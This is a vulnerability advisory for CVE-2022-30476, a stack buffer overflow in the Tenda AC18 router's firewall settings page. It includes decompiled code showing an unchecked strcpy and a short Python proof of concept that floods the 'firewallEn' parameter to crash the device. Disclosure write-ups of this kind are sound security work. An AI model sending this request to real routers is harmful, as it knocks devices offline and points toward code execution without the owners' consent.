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# Tenda Router AC18 Vulnerability

This vulnerability lies in the `/goform/SetFirewallCfg` page which influences the latest version of Tenda Router AC18. (The latest version is [AC18\\_V15.03.05.19\(6318\)](#))

## Vulnerability Description

There is a **stack-based buffer overflow** vulnerability in function `formSetFirewallCfg`.

In function `formSetFirewallCfg` it reads user provided parameter `firewallEn` into `src`, and this variable is passed into function `strcpy` without any length check, which may overflow the stack-based buffer `dest`.

```

41 v28 = 0;
42 v11 = 0;
43 v12 = 0;
44 v13 = 0;
45 memset(v14, 0, sizeof(v14));
46 memset(v9, 0, sizeof(v9));
47 src = (char *)websgetvar(a1, "firewallEn", (int)"1111");
48 value = (char *)strlen(src);
49 if ( (unsigned int)Value > 3 )
50 {
51     strcpy(dest, src);
52     GetValue((int)"security.ddos.map", (int)s);
53     GetValue((int)"firewall.pingwan", (int)v18);
54     sprintf(
55         nptr,
56         "%c,1500;%c,1500;%c,1500",
57         (unsigned __int8)dest[0],
58         (unsigned __int8)dest[2],
59         (unsigned __int8)dest[1]);
60     SetValue((int)"security.ddos.map", (int)nptr);
61     SetValue((int)"firewall.pingwan", (int)&dest[3]);

```

So by requesting the page `/goform/SetFirewallCfg`, the attacker can easily perform a Deny of Service Attack or Remote Code Execution with carefully crafted overflow data.

## PoC

```

import requests

IP = "10.10.10.1"
url = f"http://{IP}/goform/SetFirewallCfg?"
url += "firewallEn=" + "s" * 0x500

response = requests.get(url)

```

## Timeline

- 2022-05-07: Report to CVE & CNVD;
- 2022-05-26: CVE ID assigned (CVE-2022-30476)
- 2022-05-30: CNVD ID assigned (CNVD-2022-41847)

## Acknowledge

Credit to [@peanuts](#) and [@cylin](#) from IIE, CAS.